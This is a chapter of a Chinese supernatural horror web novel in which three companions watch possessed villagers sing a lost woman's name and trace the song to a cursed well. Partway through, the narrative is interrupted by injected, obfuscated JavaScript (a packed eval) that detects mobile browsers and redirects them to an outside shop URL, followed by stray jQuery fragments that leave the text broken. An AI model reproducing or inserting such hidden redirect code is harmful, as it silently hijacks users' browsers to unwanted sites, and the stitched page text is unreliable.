宋烬盯着泥地上的几个字，舌尖无意识地抵住了上颚。
暗红纹路随之一阵发热，舌头轻轻卷起，像在练习一个尚未发出的音。
守墓人看在眼里，又指了指村中。
唐知微抬头看了一眼天色：“先找地方过夜。”
宋烬还想再问，坟里的咀嚼声忽然响了起来。守墓人抓起一把白米撒下去，转身走向另一座坟，已经不肯再写。
三人只好离开墓地。
回村的路上，宋烬又经过了那个靠在门框旁的男人。
男人仍保持着原来的姿势，头微微仰起，胸口隔很久才起伏一次。唐知微系在他嘴上的布已经湿透，暗红色的肉芽顶着布面，鼓出一个个细小的凸起。
宋烬停下脚步。
白日里，那些肉芽曾经发出一个“回”字。
“你说天黑以后，每张嘴都会开口。”宋烬看向唐知微。
唐知微顺着他的视线望去：“你想等他把话说完？”
“嗯。”
“那就在附近找地方。”
村子中段有一间废弃的私塾，离男人所在的屋子很近。院墙塌了小半，院门斜挂在门轴上，正屋还能遮风。
屋里摆着十几张落满灰尘的矮桌，墙上的字帖全被水汽泡烂。唐知微挑了几张完整的桌子堵住破窗，又从竹篓里取出细绳，将几只铜铃挂在门窗上。
宋烬画了三张符。
一张贴在院门，另外两张分别压住正屋前后窗。符光比平日暗淡，好在朱砂没有散开。
陆尘帮他收起剩下的符纸，随后坐到门槛旁。他从这里抬眼，正好能看见街对面的男人。
宋烬也走了过去。
唐知微从包袱里取出干粮，掰下一块递给他：“还有一个时辰才天黑，先吃。”
宋烬接过干粮，却一直握在手里。
“守墓人已经说得很清楚。”唐知微靠着门坐下，“下面听见了你想叫回来的人，到了夜里，你大概会听见那个名字。”
“所以我才要留在这里。”
唐知微抬眼看他：“即使知道是假的，你也会过去？”
宋烬没有回答。
陆尘坐在旁边，手指碰了碰宋烬的衣袖。宋烬低头看去，他已经收回手，正望着土路对面。
太阳又落下去一截。
男人嘴上的布动得越来越厉害。肉芽在里面缓慢蠕动，布料很快被黑水浸透，顺着他的下颌往下滴。
宋烬终于咬了一口干粮。
饼太硬，他嚼了许久才咽下去。再抬头时，街对面的屋里多出了一个人。
*
那是他们白日检查过的第一户。
桌旁的椅子原本空着，此时却坐着一个女人。她低着头，手中捏着那根插在粥碗里的筷子，袖口和发间沾满湿泥。
门槛上的灰依旧完整，看不出她是如何进去的。
更远处也传来动静。
床板响了几声，一只手从半开的窗后伸出来，将窗扇缓慢推开。另一间屋中有人开始劈柴，斧头隔很久才落下一次。
白日空着的屋子里，逐渐有了人影。
他们都在重复失踪前做过的事。
有人吃饭，有人坐在灶前。路边那户做童衣的人家里，一个女人重新拿起了针，针尖反复扎向同一个地方，手中的线却始终没有缩短。
土路上还是只有三个人来时留下的脚印。
唐知微吃完最后一口干粮，拿起短铲走到院中：“要黑了。”
村中的风忽然停下，晾在院中的衣服软软垂落，树叶也安静下来。宋烬后颈的鳞片开始发烫，热意一路蔓延到舌根。
街对面的男人动了一下。
这是宋烬第一次看见他主动抬手。
那只手缓慢摸向嘴边，抓住蒙在脸上的布，用力向下一扯。暗红色肉芽从他的嘴里倾泻出来，垂在胸前，顶端的黑孔同时张开。
男人的身体向前弓起，喉咙里滚出一个模糊的音。
“苏……”
宋烬握住了膝上的珠玉算盘。
靠近村口的屋中，一个女人接着唱道：“梨……”
第三道声音从另一侧响起。
“回……”
片刻后，一个孩子的声音从紧闭的窗后传来。
“来……”
天边最后一缕光沉入山后。
“苏梨，回来。”
四个字由四张嘴唱出，声音隔着半座村子，最后却完整地落到宋烬耳中。
他猛地站了起来。
陆尘伸手抓住他的袖口。力气并不大，却一直没有松开。
宋烬停在门槛前，胸腔内那颗新长出来的心脏重重跳了几下。血液冲过耳边，他一时分辨不清自己听见的是歌声，还是七年前的雨声。
五年守灯，他心里始终留着这句话。
“回来。”
那时他从未说出口。
唐知微看了眼陆尘抓住他的手，又将目光移向宋烬：“还要出去吗？”
宋烬坐回原处：“听完再说。”
村里安静了片刻，街对面的男人仍弓着腰，胸前的肉芽轻轻摆动。接着，其中一个黑孔又发出声音。
“苏……”
这一次没有“回来”。
村尾有人接上了“梨”，紧接着，更多声音从屋中传出。最初还能分清男女老少，后来所有声音逐渐混在一起，只剩同一段曲调。
“苏梨……”
“苏梨……”
那个名字在村中来回传递。
宋烬取下珠玉算盘，跟着歌声拨动算珠。声音从东面传来，他算出的方位便在东面，等另一间屋开口，方位又跟着改变。
算了几次，仍然找不到最先开口的人。
“这些人都只是替它出声。”唐知微提醒道，“盯着他们算，只会被带着走。”
宋烬没有停手。
他不再追逐每一道声音，只将完整的曲调记下，等歌声唱完一遍，才重新拨动算珠。
算珠撞在木框上，发出一声脆响，所得的方位落在村子中央那口缠满红藤的井。
宋烬合上算盘，抬脚走出院门。陆尘跟着起身，唐知微也提起短铲追了上去。
“看一眼便回来。”宋烬说道。
“希望你说话算数。”
*
三人沿着土路走向水井。
两侧房屋里挤满了人，他们大多闭着眼，身体保持着原来的动作，只有嘴唇张得很大。暗红肉芽从口中探出，随着歌声收缩。
声音经过哪里，附近的红藤便跟着鼓起。
村民的身体也会动一下。
有人抬手，有人转头。那动作十分轻微，像提线的人还不熟悉这副躯体。
宋烬从他们面前走过，屋里的人纷纷朝他偏转头颅。
一双双眼睛依旧闭着。
那些肉芽却追着他移动。
陆尘靠近了些，与宋烬并肩走在土路上。他的舌头也开始动，嘴唇抿得很紧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808784|209700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三人来到井边。
井沿上的红藤已经长到手臂粗细，彼此缠绕，将井口堵得严严实实。藤蔓表面布满细小的孔洞，歌声经过时，那些孔洞便一齐张开。
“苏梨……”
声音也从井中传了出来。
宋烬掌心亮起暗红色的火。
他看见一条条细线从井底伸出，沿着红藤爬进村中的房屋。线的另一端连着每个村民的舌根，顺着脊骨一直缠到脚底。
那个靠在门框旁的男人也在其中。
他的线比其他人粗，已经和脊骨长在了一起。
宋烬绕着井走了半圈。
所有细线都从井下生出，唯独村尾最后一间屋没有与它相连。那间屋门窗紧闭，夜色中只能看见一个模糊的轮廓。
他多看了一眼，暂时记下位置。
“能看见多深？”唐知微问。
“火照不到底。”
“那就离远些。”
宋烬将手靠近藤蔓。掌心的火刚触到表面，四周歌声瞬间拔高。
“苏梨！”
藤蔓猛地收缩，井中涌出一股湿冷的气。宋烬的舌根也被什么东西向下一扯，口中顿时全是血腥味。
唐知微抓住他的肩膀，将他拉离井沿。
“你再碰一次，今晚便在这里唱吧。”
宋烬退开几步，掌中火焰却没有熄灭。
借着火光，他看见自己的舌根也多了一条极细的暗线。它沿着喉咙向下，绕过新生的心脏，最后消失在后颈鳞片附近。
陆尘体内也有一条。
两人的线与村民不同，并未连进井中。每当歌声响起，暗线便跟着收紧，拉动他们的舌头与声带。
“回私塾。”宋烬说道。
这次唐知微没有催，他已经先向回走。
一路上，歌声越来越密。那些屋中的人逐渐停下手里的动作，齐齐面向土路。每经过一户，宋烬都能听见苏梨的名字从背后追来。
他们回到私塾，门窗上的铜铃仍旧安静。
没有东西越过院墙。
歌声却从墙下钻了进来。
宋烬关上屋门，背靠门板坐下。舌头在口中不断卷动，暗红纹路磨过上颚，疼痛越来越清晰。
陆尘坐在他身旁，唇角已经渗出血。
宋烬伸手扣住他的下颌：“张嘴。”
陆尘松开牙关。
舌面中央的肉芽又长高了一截，根部随着歌声轻轻收缩。宋烬抬手碰去，陆尘的喉咙立刻发出一声含混的闷响。
“别碰。”唐知微蹲到他们面前，“它已经缠住声带，硬扯会连着喉咙一起伤。”
宋烬收回手，抬头看向她：“你舌头上没有纹路，为什么知道？”
“我见过有人拔。”
唐知微只说了这一句，便站起来检查门窗。
外面的歌声绕过村子，又一次来到私塾附近。
“苏梨……”
宋烬舌根处的暗线猛地收紧，他的下颌开始自行张开，又被他一把按住。陆尘也咬紧牙齿，手背上的青筋渐渐绷起。
两人的嘴唇都没有动吗，唐知微却听见屋中多出了声音。起初只是一点含混的气音，随后便逐渐清晰。
“苏……”
声音从宋烬紧闭的牙齿后传出，隔了一会，陆尘口中接上了另一个字。
“梨……”
村中的歌声停了一瞬。
很快，千万张嘴又跟着他们唱了起来。
“苏梨。”